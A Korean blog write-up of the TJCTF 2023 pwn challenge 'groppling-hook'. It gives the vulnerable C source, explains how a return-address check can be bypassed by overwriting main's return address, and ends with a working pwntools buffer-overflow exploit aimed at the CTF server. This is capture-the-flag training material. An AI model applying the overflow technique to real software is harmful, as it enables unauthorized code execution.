TJCTF 2023 - pwn/groppling-hook

2023. 5. 29. 12:08·CTF/Solved
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

#include "stdio.h"
#include <stdlib.h>

void laugh()
{
	printf("ROP detected and denied...\n");
	exit(2);
}

void win()
{
	FILE *fptr;
	char buf[28];
	// Open a file in read mode
	fptr = fopen("flag.txt", "r");
	fgets(buf, 28, fptr);
	puts(buf);
}

void pwnable()
{
	char buffer[10];
	printf(" > ");
	fflush(stdout);

	read(0, (char *)buffer, 56);

	/* Check ret */
	__asm__ __volatile__("add $0x18, %rsp;"
						 "pop %rax;"
						 "cmp $0x0401262, %rax;"
						 "jle EXIT;"
						 "cmp $0x040128a, %rax;"
						 "jg EXIT;"
						 "jmp DONE;"
						 "EXIT:"
						 "call laugh;"
						 "DONE: push %rax;");
	return;
}

int main()
{
	setbuf(stdout, NULL);

	pwnable();

	return 0;
}

2.2. 분석

스택 정렬 문제로 고생한 문제 -_-

메인 함수에서 pwnable 함수를 호출하고, 여기서는 10바이트 버퍼에 56 바이트를 입력 받는다.

다만, pwnable 함수의 ret address의 변조 여부를 확인하는 코드가 있으며, 만일 변조되었다면 강제 종료한다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

overflow

3.2. 공격 준비

pwnable -> main으로의 ret address는 검사 하지만, main -> _libc_start_main으로의 주소는 검사하지 않는다.

그러므로 여기를 win 으로 변조하면 된다.

 

4. exploit

from pwn import *

#p = process('./out')
p = remote('tjc.tf',31080)
p.sendlineafter(b'> ',b'A'*18 + p64(0x401284) + b'A'*8 + p64(0x4011b4))
print(p.recv(1024))
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'CTF > Solved' 카테고리의 다른 글

Dreamhack CTF Season 3 Round #4 (🌱Div2) - 모든 문제  (0) 2023.05.29
TJCTF 2023 - pwn/formatter  (0) 2023.05.29
TJCTF 2023 - pwn/shelly  (0) 2023.05.29
TJCTF 2023 - pwn/flip-out  (0) 2023.05.29
TJCTF 2023 - pwn/teenage-game  (0) 2023.05.26
'CTF/Solved' 카테고리의 다른 글
  • Dreamhack CTF Season 3 Round #4 (🌱Div2) - 모든 문제
  • TJCTF 2023 - pwn/formatter
  • TJCTF 2023 - pwn/shelly
  • TJCTF 2023 - pwn/flip-out
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (493)
      • To do list (6)
        • Doing (0)
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (22)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (40)
        • Solved (38)
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    64bit
    vtable
    docker
    RTL
    32bit
    pwnable.kr
    heap
    _IO_FILE
    hackerschool
    x86
    Buffer Overflow
    lob
    phoenix
    ROOT ME
    root
    Format String Bug
    root-me
    rop
    dreamhack
    Me
    cryptohack
    tcache
    libc
    la ctf
    pwntools
    x64
    exploit education
    FSB
    CANARY
    BOF
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
TJCTF 2023 - pwn/groppling-hook
상단으로

티스토리툴바